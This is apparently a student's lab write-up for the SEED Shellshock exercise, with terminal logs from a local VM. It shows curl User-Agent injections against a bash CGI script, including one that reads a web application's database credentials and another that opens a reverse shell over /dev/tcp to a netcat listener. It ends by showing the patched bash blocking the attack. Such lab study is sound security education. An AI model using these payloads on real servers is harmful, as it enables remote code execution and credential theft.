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## Lab3 Shellshock

### Task1: Experimenting with Bash Function

1)

```
[09/24/19]seed@VM:~$ foo='() { echo "hello"; }; echo "verify";'
[09/24/19]seed@VM:~$ echo $foo
() { echo "hello"; }; echo "verify";
[09/24/19]seed@VM:~$ export foo
[09/24/19]seed@VM:~$ bash_shellshock
verify
[09/24/19]seed@VM:~$ █
```

In bash\_shellshock, it execute the command echo "verify";

2)

```
[09/24/19]seed@VM:~$ foo='() { echo "hello"; }; echo "verify";'
[09/24/19]seed@VM:~$ echo $foo
() { echo "hello"; }; echo "verify";
[09/24/19]seed@VM:~$ export foo
[09/24/19]seed@VM:~$ bash
[09/24/19]seed@VM:~$ █
```

In bash, it fix this problem

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Task2: Setting up CGI program

Code:

```
#!/bin/bash_shellshock

echo "Content-type: text/plain"
echo
echo
echo "Hello World"|
```

Copy to folder and chmod

```
[09/24/19]seed@VM:~$ sudo cp ./task2.sh /usr/lib/cgi-bin
[09/24/19]seed@VM:~$ cd /usr/lib/cgi-bin
[09/24/19]seed@VM:~/cgi-bin$ ls
task2.sh
[09/24/19]seed@VM:~/cgi-bin$ chmod a+x task2/sh
chmod: cannot access 'task2/sh': No such file or directory
[09/24/19]seed@VM:~/cgi-bin$ chmod a+x task2.sh
chmod: changing permissions of 'task2.sh': Operation not permitted
[09/24/19]seed@VM:~/cgi-bin$ sudo chmod a+x task2.sh
[09/24/19]seed@VM:~/cgi-bin$
```

```
[09/24/19]seed@VM:~$ curl http://localhost/cgi-bin/task2.sh
Hello
```

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Task3: Passing data to Bash via Environment Variable

Code:

```
#!/bin/bash_shellshock

echo "Content-type: text/plain"
echo
echo "*****Environment Variables*****"
strings /proc/$$/environ
```

Result:



```
[09/24/19]seed@VM:~$ curl http://localhost/cgi-bin/task2.sh
*****Environment Variables*****
HTTP_HOST=localhost
HTTP_USER_AGENT=curl/7.47.0
HTTP_ACCEPT=/*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_SIGNATURE=<address>Apache/2.4.18 (Ubuntu) Server at localhost Port 80</ad
dress>
SERVER_SOFTWARE=Apache/2.4.18 (Ubuntu)
SERVER_NAME=localhost
SERVER_ADDR=127.0.0.1
SERVER_PORT=80
REMOTE_ADDR=127.0.0.1
DOCUMENT_ROOT=/var/www/html
REQUEST_SCHEME=http
CONTEXT_PREFIX=/cgi-bin/
CONTEXT_DOCUMENT_ROOT=/usr/lib/cgi-bin/
SERVER_ADMIN=webmaster@localhost
SCRIPT_FILENAME=/usr/lib/cgi-bin/task2.sh
REMOTE_PORT=42758
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
QUERY_STRING=
```

Explain: how the data from a remote user can get into those environment variables.

From the environment list above, we could use HTTP\_USER\_AGENT which could be set by the command  
Curl -A "() { echo hello;}"; echo Content\_type: text/plain; echo; /bin/ls -l"

And also with the vulnerabilities of shellshock that parse\_and\_execute.

We can get our data into those environment variables

## Task4: Launching the Shellshock Attack

1)

```
[09/24/19]seed@VM:~$ curl -A "{} { echo hello2;}; echo Content_type: text/plain; echo; /bin/cat /var/www/CSRF/Elgg/elgg-config/settings.php" http://localhost/cgi-bin/t
sk2.sh
<?php
/**
 * Defines database credentials.
 *
 * Most of Elgg's configuration is stored in the database. This file contains the
 * credentials to connect to the database, as well as a few optional configuration
 * values.
 *
 * The Elgg installation attempts to populate this file with the correct settings
 * and then rename it to settings.php.
 *
 * @todo Turn this into something we handle more automatically.
 * @package Elgg.Core
 * @subpackage Configuration
 */

date_default_timezone_set('UTC');

global $CONFIG;
if (!isset($CONFIG)) {
    $CONFIG = new stdClass;
}

/**
 * Standard configuration
 *
 * You will use the same database connection for reads and writes.
 * This is the easiest configuration, and will suit 99.99% of setups. However, if you're
 * running a really popular site, you'll probably want to spread out your database connections
 * and implement database replication. That's beyond the scope of this configuration file
 * to explain, but if you know you need it, skip past this section.
 */

/**
 * The database username
 *
 * @global string $CONFIG->dbuser
 */
$CONFIG->dbuser = 'elgg_admin';

/**
 * The database password
 *
 * @global string $CONFIG->dbpass
 */
$CONFIG->dbpass = 'seedubuntu';

/**
 * The database name
 *
 * @global string $CONFIG->dbname
 */
$CONFIG->dbname = 'elgg_csrf';

/**
 * The database host.
 *
 * For most installations, this is 'localhost'
 *
 * @global string $CONFIG->dbhost
 */
$CONFIG->dbhost = 'localhost';

/**
 * The database prefix
 *
 * This prefix will be appended to all Elgg tables. If you're sharing
 * a database with other applications, use a database prefix to namespace tables
 * in order to avoid table name collisions.
 *
 * @global string $CONFIG->dbprefix
 */
$CONFIG->dbprefix = 'elgg_csrf';

/**
 * Multiple database connections
 *
 */
```

---

```
$CONFIG->dbuser = 'elgg_admin';  
  
/**  
 * The database password  
 *  
 * @global string $CONFIG->dbpass  
 */  
$CONFIG->dbpass = 'seedubuntu';  
  
/**
```


The database password is "seedubuntu"

2) I can not steal the content of the shadow file /etc/shadow. Because the server process is user process, not a root process or set-uid program. So it doesn't have the privilege.



#### Task5: Getting a Reverse Shell via Shellshock Attack

- 1<sup>st</sup> Attacker open a terminal to set up the TCP server .
- 2<sup>nd</sup> Attacker sending a malicious request to the victim server's CGI program
- 3<sup>rd</sup> Because of the vulnerability of shellshock, the server will run `/bin/bash` command on the server sid.
- 4<sup>th</sup> So we have to redirection the output and input. `>` cause the output device of the shell to be redirected to 127.0.0.1's port 9090 over a TCP connection
- 5<sup>th</sup> After redirection standard input and standard error stderr to the TCP connection, we have created the reverse shell.
- 6<sup>th</sup> The shell prompt correspond to the bash process triggered by CIG. And the result from the `id` command could prove it.



```
[09/26/19]seed@VM:~$ curl -A "()" { echo hello;}; echo Content_type: text/plain;
echo; /bin/bash -i > /dev/tcp/127.0.0.1/9090 0<&1 2>&1" http://localhost/cgi-bin
/task2.sh

[09/26/19]seed@VM:~$ nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [127.0.0.1] port 9090 [tcp/*] accepted (family 2, sport 40886)
bash: cannot set terminal process group (1526): Inappropriate ioctl for device
bash: no job control in this shell
www-data@VM:/usr/lib/cgi-bin$ ls
ls
task2.sh
xyz.txt
www-data@VM:/usr/lib/cgi-bin$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@VM:/usr/lib/cgi-bin$
```

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## Task6: Using the Patched Bash

### 1) Redo Task3

Code:


```
#!/bin/bash

echo "Content-type: text/plain"
echo
echo "***** Environment Variables *****"
strings /proc/$$/environ

[09/26/19]seed@VM:~$ curl http://localhost/cgi-bin/task2.sh
***** Environment Variables *****
HTTP_HOST=localhost
HTTP_USER_AGENT=curl/7.47.0
HTTP_ACCEPT=/*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_SIGNATURE=<address>Apache/2.4.18 (Ubuntu) Server at localhost Port 80</ad
dress>
SERVER_SOFTWARE=Apache/2.4.18 (Ubuntu)
SERVER_NAME=localhost
SERVER_ADDR=127.0.0.1
SERVER_PORT=80
REMOTE_ADDR=127.0.0.1
DOCUMENT_ROOT=/var/www/html
REQUEST_SCHEME=http
CONTEXT_PREFIX=/cgi-bin/
CONTEXT_DOCUMENT_ROOT=/usr/lib/cgi-bin/
SERVER_ADMIN=webmaster@localhost
SCRIPT_FILENAME=/usr/lib/cgi-bin/task2.sh
REMOTE_PORT=42812
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
```

Task3 is the same, we see the HTTP\_USER\_AGENT = curl/7.47.9

### 2) Redo Task5



The image displays two terminal windows. The top window shows a user attempting a shellshock exploit using curl. The command is: `curl -A "() { echo hello;}; echo Content_type: text/plain; echo; /bin/bash -i > /dev/tcp/127.0.0.1/9090 0<&1 2>&1" http://localhost/cgi-bin/task2.sh`. The output is "Hello", indicating the exploit failed. The bottom window shows a netcat listener on port 9090, which is currently idle.

```
/bin/bash
[09/26/19]seed@VM:~$ curl -A "() { echo hello;}; echo Content_type: text/plain;
echo; /bin/bash -i > /dev/tcp/127.0.0.1/9090 0<&1 2>&1" http://localhost/cgi-bin
/task2.sh
Hello
[09/26/19]seed@VM:~$
```

```
/bin/bash
[09/26/19]seed@VM:~$ nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
```

From the result we can see that we couldn't use the shellshock vulnerability.